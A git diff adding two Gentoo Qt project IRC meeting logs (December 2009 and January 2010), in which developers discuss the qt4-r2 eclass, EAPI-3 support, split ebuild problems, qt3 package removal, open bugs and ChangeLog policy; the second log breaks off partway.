+<uri link="irc://irc.freenode.net/gentoo-qt">#gentoo-qt</uri> and chat with us,
+or send us an email at <mail>qt@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20091217.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20091217.txt
new file mode 100644
index 00000000..44dfcd75
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20091217.txt
@@ -0,0 +1,481 @@
+                                                                     
+                                                                     
+                                                                     
+                                             
+[20:55:21] <ayoy> meeting?
+[20:55:39] <wired> its time i think
+[20:55:50] <wired> hwoarang: yngwin ayoy lxnay reavertm spatz ssuominen tampakrap ping!
+[20:56:00] <spatz> here
+[20:56:15] <ssuominen> I see no problem in the current way :)
+[20:56:22] <ssuominen> re: that mail
+[20:56:45] <ssuominen> and i'm here
+[20:57:02] <hwoarang> im here
+[20:57:06] <tampakrap> here
+[20:57:14] <wired> ssuominen: well we did decide to ask the -dev community thus the mail
+[20:57:32] <reavertm> whassup
+[20:57:35] <wired> btw i am NOT logging this server, someone else please take care of it
+[20:58:07] <tampakrap> i am
+[20:58:26] <wired> great
+[20:58:37] <wired> where's the lead? :P
+[20:58:47] <spatz> slacking
+[20:59:10] <hwoarang> playing eve online i guess
+[20:59:27] <hwoarang> yngwin: ping pong
+[20:59:41] <wired> lol
+[20:59:44] -*- reavertm undecided whether to attend no-kde meeting
+[20:59:56] <wired> i still wonder how one whole month passed since our last meeting
+[20:59:57] <yngwin> ok, fasten your seatbelts
+[21:00:18] <hwoarang> :)
+[21:00:19] <yngwin> anyone missing?
+[21:00:23] <ayoy> carlo :P
+[21:00:27] <hwoarang> pessa
+[21:00:28] <hwoarang> abcd
+[21:00:48] <ayoy> abcd won't join
+[21:00:50] <spatz> they both announced
+[21:00:51] <ayoy> same for pesa
+[21:00:54] <yngwin> and carlo
+[21:00:54] <hwoarang> yeah i know
+[21:00:57] <yngwin> as usual
+[21:00:59] <hwoarang> :P
+[21:01:06] <yngwin> ok
+[21:01:15] <yngwin> 1: eclass status update
+[21:01:51] <yngwin> qt4-r2.eclass is in portage now
+[21:01:52] <hwoarang> afaik only one ebuild is using it
+[21:01:58] <yngwin> we can start using it
+[21:02:15] <hwoarang> of course
+[21:02:22] <hwoarang> should we port the old ebuilds ? :S
+[21:02:22] <ayoy> I can create a list of ebuilds inheriting qt4 and we could work on them
+[21:02:33] <ayoy> btw, it would be great to have it under some version control
+[21:02:39] <yngwin> i suppose we should announce official policy that all new qt4 ebuilds must use this
+[21:02:48] <hwoarang> ayoy: what?
+[21:02:52] <hwoarang> ah the list
+[21:02:54] <ayoy> a checklist
+[21:02:58] <spatz> ayoy: can be put as a wiki page on gitorious
+[21:03:00] <spatz> that has history
+[21:03:06] <hwoarang> or a txt on gitorious :)
+[21:03:08] <spatz> and uses markdown syntax
+[21:03:24] <ayoy> I'd prefer git, but as you like
+[21:03:31] <hwoarang> +1 for simple text file
+[21:03:33] <yngwin> we could have a script, someone run a cron to autoupdate in repo
+[21:03:53] <wired> oh i like that :P
+[21:03:59] <hwoarang> indeed
+[21:04:04] <wired> i'll do it! soon, i promise :D
+[21:04:10] -*- hwoarang assigned
+[21:04:12] <yngwin> before next meeting :p
+[21:04:15] <wired> YES!
+[21:04:16] <wired> :D
+[21:04:17] <ayoy> wired: after you start an ML discussion :P
+[21:04:24] <hwoarang> oh lord
+[21:04:24] <wired> ayoy: i wrote the email
+[21:04:29] <wired> one hour ago
+[21:04:30] <ayoy> oh, sorry :D
+[21:04:30] <wired> :D
+[21:04:32] <yngwin> ok, on topic
+[21:04:33] <tampakrap> the mail is fine btw
+[21:04:42] <yngwin> should we add eapi-3 support now?
+[21:05:01] <hwoarang> i dont quite understand that part
+[21:05:03] <ayoy> hey, excuse my ignorance
+[21:05:05] <hwoarang> how exactly?
+[21:05:11] <ayoy> where can I look for any info on EAPI-3?
+[21:05:21] <yngwin> make it compatible with prefix, basically
+[21:05:40] <yngwin> http://archives.gentoo.org/gentoo-dev/msg_2a62689c71f95e4de5699a330b8b5524.xml for info
+[21:05:46] <ayoy> thanks a lot
+[21:05:53] <hwoarang> yngwin: we might ask @prefix team to do that
+[21:06:00] <hwoarang> patch the eclass and send the patches
+[21:06:07] <yngwin> yes, or abcd
+[21:06:08] <ayoy> good idea
+[21:06:24] <hwoarang> we have 0 experience with prefix
+[21:06:30] <ayoy> I have minimal
+[21:06:34] <yngwin> ok, let's forward that to @prefix and abcd
+[21:06:37] <tampakrap> i guess abcd can handle it as he did with the kde ebuilds
+[21:06:46] <hwoarang> thats nice
+[21:07:01] <ayoy> the guide for qt4-r2
+[21:07:05] <ayoy> I updated it a bit
+[21:07:11] <ayoy> it's on my devspace atm
+[21:07:18] <hwoarang> can we put it on gitorius as well?
+[21:07:19] <ayoy> hwoarang: did you have time to take a look?
+[21:07:22] <yngwin> yes, i said i would look it over
+[21:07:28] <hwoarang> ayoy: no not yet :S
+[21:07:47] <yngwin> jcan we put it in qting-edge/Documentation ?
+[21:07:48] <hwoarang> maybe adding it to gitorious might be better
+[21:08:01] <yngwin> that would make colaboration easier
+[21:08:04] <hwoarang> true
+[21:08:10] <ayoy> hwoarang: by gitorious you mean the wiki or git?
+[21:08:15] <hwoarang> git
+[21:08:18] <hwoarang> the pure xml file
+[21:08:18] <ayoy> okay
+[21:08:20] <ayoy> yeah
+[21:08:22] <ayoy> good for me
+[21:08:23] <wired> git++
+[21:08:25] <yngwin> git preserves the markup
+[21:08:43] <yngwin> ok. anything else on point 1?
+[21:08:46] <ayoy> no
+[21:08:52] <tampakrap> as i said i have an svn hook in my home server that checks out the content in a gorg installation
+[21:09:09] <tampakrap> if you are interested...
+[21:09:12] <yngwin> 2. split vs. monolithic discussion
+[21:09:13] <wired> its svn dude, fix it!
+[21:09:19] <tampakrap> ontopic plz
+[21:09:40] <wired> yngwin: i wrote the email today (\o/)
+[21:09:49] <yngwin> good :)
+[21:09:50] <wired> a few devs read it, so i'll send it
+[21:09:50] -*- hwoarang prepares the flaming gun
+[21:10:27] <wired> great, i'll hit send after the meeting
+[21:10:29] <yngwin> i think we should talk to zmedico and get his ideas, as at this point it is mostly a portage problem
+[21:10:35] <wired> however
+[21:10:38] <wired> i have to point out that
+[21:10:47] <wired> in latest 2.2 portage, output is MUCH better
+[21:11:01] <tampakrap> but not on stable portage
+[21:11:01] <yngwin> i need to check that then
+[21:11:05] <wired> http://dev.gentoo.org/~wired/qt.fail
+[21:11:25] <wired> thats trying to upgrade only qt-core to 4.9999
+[21:12:04] <spatz> why print tuples? that's still confusing
+[21:12:14] --> scarabeus (~scarab@net-2-2.jaw.cz) has joined #gentoo-meetings
+[21:12:18] <tampakrap> that's better, but we should check the stable portage's output
+[21:12:22] <yngwin> ok that is improving
+[21:12:29] <wired> its far better
+[21:12:30] <hwoarang> i am running stable
+[21:12:36] <hwoarang> but i need some time to reproduce it
+[21:12:45] <wired> i still think we need the new dep type
+[21:12:47] <wired> last point in my email
+[21:12:49] <yngwin> but it's hardmasked portage
+[21:13:03] <hwoarang> yngwin: zmedico sometimes backport patches to ~arch portage
+[21:13:09] <yngwin> i agree with that point, wired
+[21:13:12] <wired> the email i'll send: http://dpaste.com/134673/
+[21:13:14] <spatz> what dep type?
+[21:13:31] <yngwin> maybe we should just discuss this between qt@ and portage@ ?
+[21:13:31] <wired> dd a new dependency in portage. this is my personal favorite. this dependency type would define what version packages should be *if* they are installed. this way qt-core would tell portage that all the other qt-modules must be =${PV} - if they're installed. making portage aware of this dependency would also allow for much better output.
+[21:13:36] <wired> +add
+[21:13:53] <ssuominen> yngwin: that sounds reasonable.
+[21:14:17] <yngwin> ok, let's do that then
+[21:14:24] <yngwin> any objections?
+[21:14:40] <yngwin> moving on then
+[21:14:44] <wired> wait
+[21:14:50] <yngwin> yes?
+[21:15:02] <wired> you want the same email sent @ {portage,qt}@g.o?
+[21:15:13] <hwoarang> yes
+[21:15:18] <wired> or you want me to remove qt monolithic parts?
+[21:15:31] <wired> and keep discussion around portage?
+[21:15:47] <ayoy> sounds a bit better for me to remove that part
+[21:15:48] <yngwin> keep discussion around current splits and portage
+[21:15:55] <wired> ok
+[21:15:57] <yngwin> see if we can improve that
+[21:16:02] <wired> will do
+[21:16:07] <yngwin> if not, we can discuss monolithic again
+[21:16:08] <wired> soon :D
+[21:16:18] <ayoy> let's move on then
+[21:16:24] <spatz> you should add the the most problematic use case is a USE flag enabled for some qt modules but not all
+[21:16:30] <yngwin> but what you wrote is a good start
+[21:16:46] <wired> great, i'll just remove the monolithic option then
+[21:17:12] <yngwin> the most common problem nowadays is missing modules in p.keywords
+[21:17:17] <spatz> I think that's the most common problem users have
+[21:17:21] <hwoarang> aka mixed systems
+[21:17:21] <wired> spatz: the USE flag mess was generally solved after we removed <=4.5.2
+[21:17:28] <wired> only late upgrades see that now
+[21:17:34] <ssuominen> mixing has never been supported
+[21:17:42] <hwoarang> true
+[21:17:46] <yngwin> useflags can still be a problem for first install on non-desktop profile
+[21:17:46] <hwoarang> tell that to users
+[21:17:50] <spatz> it will happen every time we mess with it
+[21:18:12] <wired> spatz: if we change defaults, yeah
+[21:18:25] <spatz> I think you should at least note it
+[21:18:32] <yngwin> ok, can we move to point 3?
+[21:18:36] <wired> its a different issue, but ok
+[21:18:40] <wired> lets go
+[21:18:55] <yngwin> einfo overload: can we cut down on this more?
+[21:19:00] <wired> last time we talked about a link
+[21:19:18] <reavertm> wired autodepclean should help here and zmedico seemss to be convinced to implement it
+[21:19:22] <yngwin> i want to ask maintainers of apps to keep this in mind and see if we can cut down on einfo
+[21:19:23] <wired> do you guys want that?
+[21:19:47] <yngwin> i do
+[21:19:57] <hwoarang> the huge einfo on qt modules?
+[21:20:08] <hwoarang> yngwin: how are the apps affected by that?
+[21:20:11] <yngwin> you can explain more in a faq, keep einfo simple
+[21:20:20] -*- reavertm notes that nobody reads einfos
+[21:20:22] <yngwin> hwoarang: i mean if app ebuilds add their own einfo
+[21:20:27] <ayoy> btw, the link to plugins howto is not needed at all imho
+[21:20:30] <hwoarang> ok
+[21:20:54] <tampakrap> i agree with the einfo reducing
+[21:21:10] <yngwin> reavertm: thats because there is too much
+[21:21:22] <yngwin> thats why we try to get back to the essentials here
+[21:21:44] <hwoarang> ok then
+[21:21:57] <yngwin> i think we're clear on this point
+[21:22:16] -*- reavertm thinks portage should have sth like 'suggested deps' as in debian
+[21:22:18] <yngwin> which leads to 4: documentation/faq
+[21:22:34] <reavertm> most pkg_poinst inst einfos could be dropped then
+[21:22:39] <wired> After upgrading Qt, apps and libraries using it may stop working. If that happens to you, you should recompile stuff that uses Qt. Visit <link here> for details.
+[21:22:51] <yngwin> let's write that faq, so we can refer to it in einfo and on irc/forums
+[21:22:51] <ayoy> wired: awesome!
+[21:23:07] <yngwin> wired: yes something like that
+[21:23:27] <hwoarang> ok apart from the extended einfo stuff, what else should we put on faq
+[21:23:41] <ayoy> this is something we should discuss on ML I guess
+[21:23:43] <yngwin> stuff like the blocks ppl get
+[21:23:45] <wired> link would contain that script that re-emerges everything that uses Qt or something
+[21:23:47] <ayoy> just post ideas
+[21:23:58] <hwoarang> ML discussion wont help
+[21:24:04] <yngwin> what useflags are commonly needed for desktop users
+[21:24:12] <ayoy> hwoarang: not a discussion, ideas
+[21:24:25] <yngwin> those things that come up frequently on irc/forums
+[21:24:26] <ayoy> hwoarang: we won't make up anything good right now
+[21:24:43] <yngwin> i'll start a page on gitorious
+[21:24:44] <ssuominen> people are often enabling qt3support per package in package.use causing problems
+[21:24:50] <ssuominen> (forums)
+[21:24:56] <yngwin> yeah
+[21:25:02] <wired> hmm
+[21:25:14] <wired> KDE should depend on qt-qt3support
+[21:25:25] <yngwin> it does
+[21:25:27] <yngwin> afaik
+[21:25:31] <ayoy> mhm
+[21:25:33] <yngwin> anyway, off topic
+[21:25:35] <wired> there shouldn't be an issue now that we have the default USE issue gone
+[21:25:55] <wired> reso;invalid "read portage output"?
+[21:26:00] <yngwin> those are details we can write as we go
+[21:26:23] <hwoarang> ok
+[21:26:24] <wired> oh well
+[21:26:25] <wired> lets go
+[21:26:26] <yngwin> once we have a decent text, i can put it in guidexml
+[21:26:37] <ayoy> cool
+[21:26:48] <yngwin> 5: remaining qt3 packages
+[21:27:07] -*- wired gets his BFG out
+[21:27:21] <yngwin> we should review whats left in the tree
+[21:27:26] <hwoarang> the list is pretty big
+[21:27:37] <yngwin> yes, we need to start moving on that
+[21:27:48] <yngwin> now that ssuominen has cleaned out most kde3 :)
+[21:28:04] <wired> ssuominen: don't lose your momentum, keep going with qt3!
+[21:28:05] <wired> heh
+[21:28:45] <yngwin> so please all, if you have some time, check for pkgs depending on qt3 and add bugs to the tracker
+[21:28:52] <hwoarang> there are two options imho
+[21:28:55] --> Battousai (~bryan@maduin.southcape.org) has joined #gentoo-meetings
+[21:29:01] <hwoarang> 1) if there is no Qt4 , remove the package in 30days
+[21:29:11] <hwoarang> 2) if there is a Qt4 version, bump it
+[21:29:19] <hwoarang> 30days time frame and that would be all
+[21:29:27] <hwoarang> i can start working on this
+[21:29:51] <yngwin> i think that sounds reasonable
+[21:30:01] <hwoarang> by masking packages that depend on Qt4
+[21:30:05] <hwoarang> *Qt3
+[21:30:06] <hwoarang> :p
+[21:30:11] <yngwin> heh
+[21:30:34] <spatz> wouldn't it be nicer to users if the new version would be stabilized before the qt3 version was removed, if a qt4 version exists (and the qt3 version is stable)?
+[21:30:43] --> tjfontaine (tjfontaine@tjfontaine.chair.oftc.net) has joined #gentoo-meetings
+[21:30:43] <ssuominen> I can pretty much tell out of memory all =kdelibs-3* from tinderbox's list, it will be all ready in early january, koffice just went stable on amd64
+[21:30:45] <wired> that would be 3)
+[21:30:47] <yngwin> yes, absolutely
+[21:30:48] <hwoarang> thats why i said 30days
+[21:30:48] -*- reavertm did that with kadu
+[21:30:52] <hwoarang> enough time to stable packges
+[21:31:04] <spatz> but if you mask them now users get angry
+[21:31:15] <hwoarang> so?
+[21:31:16] <hwoarang> what
+[21:31:30] <hwoarang> wait a Qt4 version before we mask Qt3 version
+[21:31:35] <hwoarang> ??
+[21:31:46] <yngwin> well, maybe we should wait masking qt:3 for a little while yet
+[21:31:51] <ssuominen> Is there any real rush on removing qt-3? For kdelibs there is several good reasons, like it's not building at all with new autoconf/open security bugs/etc.
+[21:32:02] <ssuominen> yngwin: that's my point...
+[21:32:02] <hwoarang> yes
+[21:32:05] <hwoarang> it is ugly
+[21:32:07] <spatz> if a qt4 version exists then bump it and bring it to the same status as the qt3 version before removing it, that's my suggestion
+[21:32:09] <ssuominen> hwoarang: :D
+[21:32:27] <hwoarang> spatz: i
+[21:32:29] <hwoarang> yes
+[21:32:30] <ssuominen> I think we should give the first half of 2010 time for qt-3 removal, at least.
+[21:32:36] <hwoarang> but what if there is no Qt4 version
+[21:32:38] <wired> keep it in portage, it doesn't hurt
+[21:32:40] <ssuominen> that'll give us time to bump stuff
+[21:32:40] <hwoarang> masking is the only choice
+[21:32:41] <yngwin> ssuominen: it's unmaintained and unsupported, and who knows what secuity bugs there are
+[21:32:55] <wired> until we get the replacements we want, that is
+[21:33:03] <spatz> give some warning before masking, wait a little for a newer version
+[21:33:07] <yngwin> it's all in my mail from 5 months ago
+[21:33:14] <hwoarang> spatz: Qt4 is 2 years old
+[21:33:20] <hwoarang> how long we should wait?
+[21:33:21] <ayoy> hwoarang: 4
+[21:33:31] <ayoy> :)
+[21:33:33] <hwoarang> well, I am counting from 4.4.2 :P
+[21:33:42] <ayoy> pff ;]
+[21:33:53] <hwoarang> upstreams had plenty of time to port their packages
+[21:33:56] <ssuominen> I know it's not a good argument; but gtk+:1.2 is also in tree, some games@ are using it, and they still work fine
+[21:34:01] <spatz> now that kde is maturing more stuff will get ported
+[21:34:01] <yngwin> well, let's see if there are any big apps we would inconvenience
+[21:34:01] <hwoarang> they wont do it in the following 3 months
+[21:34:15] <wired> lets move on!
+[21:34:44] <yngwin> i'll write up a policy and submit it to qt@ for approval before sending to dev ML, ok?
+[21:34:52] <spatz> wonderful :)
+[21:34:56] <wired> +1
+[21:34:57] <hwoarang> ok
+[21:35:05] <yngwin> 6: open bugs
+[21:35:17] <yngwin> as you can see, i went through our list today
+[21:35:23] <tampakrap> and -desktop plz, don't forget -desktop
+[21:35:28] <hwoarang> http://bugs.gentoo.org/buglist.cgi?cmdtype=runnamed&namedcmd=qt
+[21:35:41] <yngwin> http://gitorious.org/gentoo-qt/pages/PriorityBugs are in my opnion the most important ones
+[21:36:09] <yngwin> if you want to add to that, please do
+[21:36:25] <hwoarang> ok
+[21:36:25] <spatz> the CC/CXX bug was closed today, wasn't it?
+[21:36:29] <hwoarang> yes
+[21:36:31] <ayoy> yes it was
+[21:36:36] <hwoarang> does somebody uses exceptions?
+[21:36:36] <ayoy> I was gonna remove it from the list ;)
+[21:36:40] <hwoarang> any feedback on that?
+[21:36:42] <yngwin> do it
+[21:37:00] <yngwin> if it is really fixed
+[21:37:05] <ayoy> done
+[21:37:15] <yngwin> should be checked if it works with cross-distcc
+[21:37:20] <ayoy> works for me, no one reports failures from 2 months now
+[21:37:23] <ayoy> *for
+[21:37:30] <yngwin> ok
+[21:37:35] <ayoy> yngwin: I checked it for amd64/x86
+[21:37:47] <yngwin> lets keep that shortlist up to date, so ppl will know where to start working
+[21:38:16] <hwoarang> exceptions needs some discussion
+[21:38:22] <yngwin> also, try to fix or at least move forward a couple of bugs from that list
+[21:38:28] <ssuominen> rb_libtorrent's tests failed for me too on amd64@ but I could still seed/and download torrents
+[21:38:34] <hwoarang> do we or do we not want this
+[21:38:34] <ssuominen> so i've stabled it
+[21:38:39] <hwoarang> it is more that 3 months on qting-edge
+[21:38:49] <hwoarang> if it works, we need to patch the eclass and move on
+[21:39:03] <ayoy> ssuominen: Qt unit tests failures might be unrelated when run as portage user
+[21:39:09] <ayoy> ssuominen: it
+[21:39:18] <ayoy> 's about access to X server most of the times
+[21:39:30] <yngwin> i dont want to get into specific bugs here now
+[21:39:32] <ayoy> I can take a look at this
+[21:39:37] <ssuominen> yngwin: yup, sorry
+[21:39:41] <hwoarang> ok
+[21:39:51] <yngwin> we can do that afterwards or in bugzilla
+[21:39:58] <yngwin> just keep it in mind in the next few weeks
+[21:40:12] <spatz> (we're running out of time)
+[21:40:13] <hwoarang> noted
+[21:40:16] <ayoy> 7?
+[21:40:20] <yngwin> yes
+[21:40:52] <yngwin> i was thinking a script like betelgeuse's rss feed but specific for qt herd would be helpful
+[21:41:04] <hwoarang> what script
+[21:41:05] <yngwin> or something like gnome and X have now
+[21:41:09] <hwoarang> :)
+[21:41:12] <hwoarang> any link?
+[21:41:29] <yngwin> http://gentoo.petteriraty.eu/
+[21:41:43] <hwoarang> right
+[21:41:44] <wired> a script that checks keywords is easy, i can do that and generate a pretty colored html
+[21:42:05] <hwoarang> yngwin: as I said in the mail, each one of us maintain his ebuilds
+[21:42:06] <yngwin> or something like http://dev.gentoo.org/~eva/gnome/gnome-2.28.0.html
+[21:42:14] <hwoarang> why should the whole Qt herd bothered?
+[21:42:22] <ayoy> hwoarang: that's right, but it's just in case
+[21:42:40] <yngwin> because i dont care about stable and often forget
+[21:42:41] <ayoy> one of us can have 200 ebuilds on his mind one day
+[21:42:50] <hwoarang> ok
+[21:42:57] <hwoarang> wired: can you come up with a similar script?
+[21:42:58] <wired> we can create the script to keep track of qt stuff, however I don't think we should bother any further
+[21:43:05] <wired> yes, i will
+[21:43:10] <hwoarang> thanks
+[21:43:10] <wired> together with the other script
+[21:43:13] <wired> =]
+[21:43:19] <yngwin> if we can automate it, and just have a page, then anyone can look and see right away what could be bumped
+[21:43:34] <spatz> and file bugs in times of boredom :)
+[21:43:37] <wired> bumped?
+[21:43:39] <yngwin> yes
+[21:43:45] <yngwin> stabled
+[21:43:47] <wired> ah
+[21:43:53] <wired> better :P
+[21:44:03] <yngwin>  stablereqs
+[21:44:04] <spatz> 8?
+[21:44:07] <ayoy> yup
+[21:44:13] <tampakrap> wired: can you extend it to include kde too plz?
+[21:44:19] <hwoarang> lol
+[21:44:22] <ayoy> :D
+[21:44:24] <wired> rotfl
+[21:44:34] <ayoy> 8
+[21:44:44] <wired> sure, I'll put the important stuff in changable vars
+[21:44:48] <yngwin> should be simple to adjust such a script for kde
+[21:45:01] <wired> I already did this once for kde3
+[21:45:02] <tampakrap> boring too :)
+[21:45:29] <spatz> so no new arguments?
+[21:45:42] <yngwin> also, should we have someone responsible for chasing after lagging stablereqs?
+[21:46:07] <ayoy> concerning ChangeLogs, I like them, but don't care
+[21:46:13] <yngwin> just someone who goes through the list say once a month
+[21:46:19] <yngwin> WE ARE STILL ON 7
+[21:46:27] <ayoy> sure
+[21:46:33] <tampakrap> and do what? ping archs only?
+[21:46:52] <yngwin> more like, check if stablereqs need to be files
+[21:46:59] <yngwin> but yes, maybe also ping arches
+[21:47:08] <yngwin> filed*
+[21:47:11] <tampakrap> count on me for that
+[21:47:19] <yngwin> ok
+[21:47:41] <yngwin> now 8
+[21:47:51] <yngwin> changelogs in overlay
+[21:48:03] -*- wired still in favor of getting rid of them
+[21:48:06] <yngwin> you all still want them gone, because you are lazy?
+[21:48:15] <spatz> we all know what everybody thinks, but is there something to add?
+[21:48:21] <tampakrap> no bc they are useless
+[21:48:29] <wired> its not lazyness
+[21:48:44] <wired> its one less thing to worry about when you're masschanging/bumping stuff
+[21:48:50] <yngwin> heh
+[21:48:53] <wired> echangelog is so CVS :P
+[21:49:05] <tampakrap> exactly
+[21:49:07] <spatz> the one thing useful with it is when moving to tree
+[21:49:13] <yngwin> ok, well, if i'm the only one opposingit, i will no longer veto
+[21:49:29] <tampakrap> thanks
+[21:49:46] <yngwin> just make sure then that all relevant info is in commit messages
+[21:49:56] <wired> great
+[21:50:07] <hwoarang> sure
+[21:50:11] <hwoarang> i dont want the either
+[21:50:12] <yngwin> who volunteers to run find & rm
+[21:50:18] <wired> changelogs?
+[21:50:21] <wired> gimme a minute
+[21:50:21] <wired> :D
+[21:50:25] <yngwin> ok
+[21:50:27] <yngwin> 9
+[21:50:40] <yngwin> should be remove [debug?] use dep in apps?
+[21:50:46] <ayoy> it's a thing that normal user doesn't want
+[21:50:50] <yngwin> why?
+[21:50:56] <ayoy> let's say you have a library
+[21:50:58] <yngwin> a normal user wouldnt enable debug
+[21:51:00] <ayoy> 50kB source code
+[21:51:08] <ayoy> and you want it to have debug symbols
+[21:51:17] <ayoy> it would require you to compile Qt with debug symbols
+[21:51:27] --> jmbsvicetto (jmbsvicett@dev.gentooexperimental.org) has joined #gentoo-meetings
+[21:51:30] <ayoy> which is an overkill for most developers
+[21:51:35] <yngwin> yes, so you have meaningful backtraces
+[21:51:35] <jmbsvicetto> You guys weren't kidding?
+[21:51:36] <ayoy> leaving users alone
+[21:52:05] <spatz> it has benefits, but I don't see the harm
+[21:52:14] <spatz> users can just look the other way
+[21:52:14] <ayoy> the harm is
+[21:52:16] <wired> jmbsvicetto: unfortunately
+[21:52:23] <reavertm> one can get backtraces with just -ggdb and splitdebug
+[21:52:37] <ayoy> that you have to recompile Qt unconditionally once you enable a debug useflag on ANY Qt-based package
+[21:52:46] <ssuominen> Fixed qcomicbook from http://gitorious.org/gentoo-qt/pages/PriorityBugs
+[21:53:01] <ayoy> you don't have to have Qt debug libs to debug Qt-based apps, come on :/
+[21:53:04] <yngwin> well, if there is no reason to disallow it, we can make it optional and remove the use dep
+[21:53:07] <ayoy> no one does it
+[21:53:08] <spatz> ah, now I understand what you're talking about
+[21:53:17] <spatz> +1
+[21:53:19] <ayoy> yngwin: that's what I'm asking for
+[21:53:26] <yngwin> anyone opposed?
+[21:53:35] <jmbsvicetto> please ping me when you need me
+[21:54:13] <yngwin> ok last point
+[21:54:20] <ayoy> wait
+[21:54:21] <yngwin> davide pesa wrote me this:
+[21:54:24] <ayoy> regarding 9
+[21:54:36] <ayoy> I'll update the qt4-r2 guide not to include this [debug?]
+[21:54:45] <yngwin> yes, do it
+[21:54:51] <yngwin> qtjambi should be bumped to 4.5.2_p1 in tree (an updated ebuild has
+[21:54:51] <yngwin> been available in qting-edge for a long time and no problems were
+[21:54:51] <yngwin> reported). I just noticed it may fail to build with Qt >= 4.5.3 when
+[21:54:51] <yngwin> USE="phonon", but I guess the latest version in portage (4.5.0_p1)
+[21:54:51] <yngwin> fails too, so it shouldn't be a regression.
+[21:55:27] <spatz> will there ever be a 4.6 version?
+[21:55:35] <yngwin> so we can bump, and remove old qtjambi ebuilds
+[21:55:43] <yngwin> spatz: lets hope
+[21:55:46] <ayoy> it's supposed to be a community project now
+[21:55:57] <ayoy> but I don't know if there's anyone interested in development
+[21:56:01] <yngwin> or not and then we remove the pkg
+[21:56:38] <yngwin> anyone want to take on this bump?
+[21:56:44] <hwoarang> we can bump it
+[21:56:49] <hwoarang> but who is going to maintain it
+[21:56:50] <hwoarang> ?
+[21:56:55] <ayoy> :)
+[21:57:00] <yngwin> pesa for now
+[21:57:12] <reavertm> (qtjambi should die and SWt qt backend should be developed instead)
+[21:57:41] <hwoarang> yngwin: if this is the case, I can push it
+[21:57:47] <yngwin> ok, do it
+[21:57:56] <yngwin> anything else?
+[21:57:58] <ayoy> we did it in one hour! :)
+[21:58:09] <hwoarang> i think no yngwin
+[21:58:13] <hwoarang> we have plenty to work on
+[21:58:17] <hwoarang> :/
+[21:58:20] <yngwin> jmbsvicetto, scarabeus: your turn
+[21:58:29] <yngwin> end of qt meeting -----------------------------
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100121.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100121.txt
new file mode 100644
index 00000000..582c2ed4
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100121.txt
@@ -0,0 +1,349 @@
+[21:01:43] <yngwin> Gentoo Qt Project meeting starting 
+[21:03:49] * wired here
+[21:03:50] <hwoarang> hi
+[21:03:56] * wired setting up i5 :P
+[21:03:58] *** Joins: tampakrap (~tuxicity@athedsl-269961.home.otenet.gr)
+[21:03:59] <yngwin> ABCD: present?
+[21:04:17] <ABCD> yngwin: so long as my network connection doesn't die on my
+[21:04:22] <ABCD> s/my/me/
+[21:04:23] <yngwin> ok
+[21:04:41] <yngwin> <yngwin> herd qt
+[21:04:41] <yngwin> <Willikins> (qt) abcd, ayoy, carlo, hwoarang, spatz, tampakrap, wired, yngwin
+[21:04:45] <spatz> agenda: http://gitorious.org/gentoo-qt/pages/Meeting20100121
+[21:04:46] * wired logging
+[21:05:06] <yngwin> ayoy is absent as announced
+[21:05:10] <yngwin> welcome tampakrap
+[21:05:28] <spatz> so we're all set
+[21:05:38] <yngwin> except the usual suspect
+[21:05:53] *** Joins: ssuominen (ssuominen@unk.fi)
+[21:05:56] <yngwin> ok, please be seated, let's get started
+[21:06:00] <yngwin> 1. eclass status update
+[21:06:05] <tampakrap> who is the usual suspect?
+[21:06:16] <yngwin> carlo
+[21:06:36] <tampakrap> ok let's remove him then
+[21:07:14] <yngwin> yes, let's discuss that after the rest of the agenda
+[21:07:40] <yngwin> anyone want to say anything about qt4-r2.eclass?
+[21:07:58] <hwoarang> errr
+[21:08:06] <hwoarang> about the EAPI3 thing
+[21:08:09] <yngwin> we should be checking our ebuilds and move them over little by little
+[21:08:15] <yngwin> yes hwoarang?
+[21:08:27] <hwoarang> should we care already?
+[21:08:29] <ABCD> it only needs a 2-character change to be EAPI-3 compatible - changing "2)" to "2|3)" in the initial case statement
+[21:08:30] * spatz thought that's ABCD's turf
+[21:08:37] <hwoarang> eapi3 just approved by councli
+[21:09:00] <spatz> it's isn't the old eapi3 that you know, don't know if you're updated
+[21:09:08] <yngwin> well, i think it would be nice to have eapi-3 compatibility
+[21:09:13] <hwoarang> do i am not 
+[21:09:17] <hwoarang> *no
+[21:09:22] <yngwin> eapi-3 == prefix
+[21:09:29] <hwoarang> xm
+[21:09:29] <spatz> it's just prefix stuff + .xz file format
+[21:09:35] <hwoarang> ok
+[21:09:42] <spatz> the old stuff got bumped to eapi4
+[21:09:51] <ABCD> hwoarang: eapi3-compatible is also prefix-compatible, so as a member of the prefix team, I care about it :)
+[21:09:57] <yngwin> ABCD: are you sure that is all that is needed for qt4-r2 to be eapi-3 compatible?
+[21:10:45] <ABCD> yngwin: yes
+[21:10:48] <spatz> it uses EPREFIX
+[21:10:51] <yngwin> ok, let's do that then
+[21:11:03] <hwoarang> ok
+[21:11:05] <yngwin> anything else on point 1?
+[21:11:18] <yngwin> then 2. split ebuild problems
+[21:11:22] <spatz> so 5 people are doing the same change now :)
+[21:11:27] <yngwin> status of discussion with portage team about problems caused by split ebuilds
+[21:11:40] <pesa_> ah wait please
+[21:11:46] <pesa_> on point 1
+[21:11:49] <yngwin> yes?
+[21:12:00] <pesa_> please be careful when switching ebuilds to qt4-r2
+[21:12:05] <yngwin> of course
+[21:12:11] <pesa_> i saw a QA notice yesterday on qt-creator
+[21:12:43] <pesa_> var/tmp/portage/dev-util/qt-creator-1.3.1/temp/environment: line 2575: qt4_src_prepare: command not found
+[21:12:46] <pesa_> this one
+[21:13:00] <hwoarang> i ll fix it
+[21:13:11] <pesa_> great thanks
+[21:13:23] <spatz> fixed qt4-r2
+[21:13:44] <yngwin> ok great
+[21:13:49] <ssuominen> I still think qt4-r2 should have inherited qt4 to gain the eqmake4 command so old ebuilds wouldn't have to be touched
+[21:14:05] <hwoarang> ssuominen: we discussed this before
+[21:14:11] <hwoarang> eqmake4 is not the same as qt4
+[21:15:17] <ssuominen> Well I just find the exported functions annoying :)
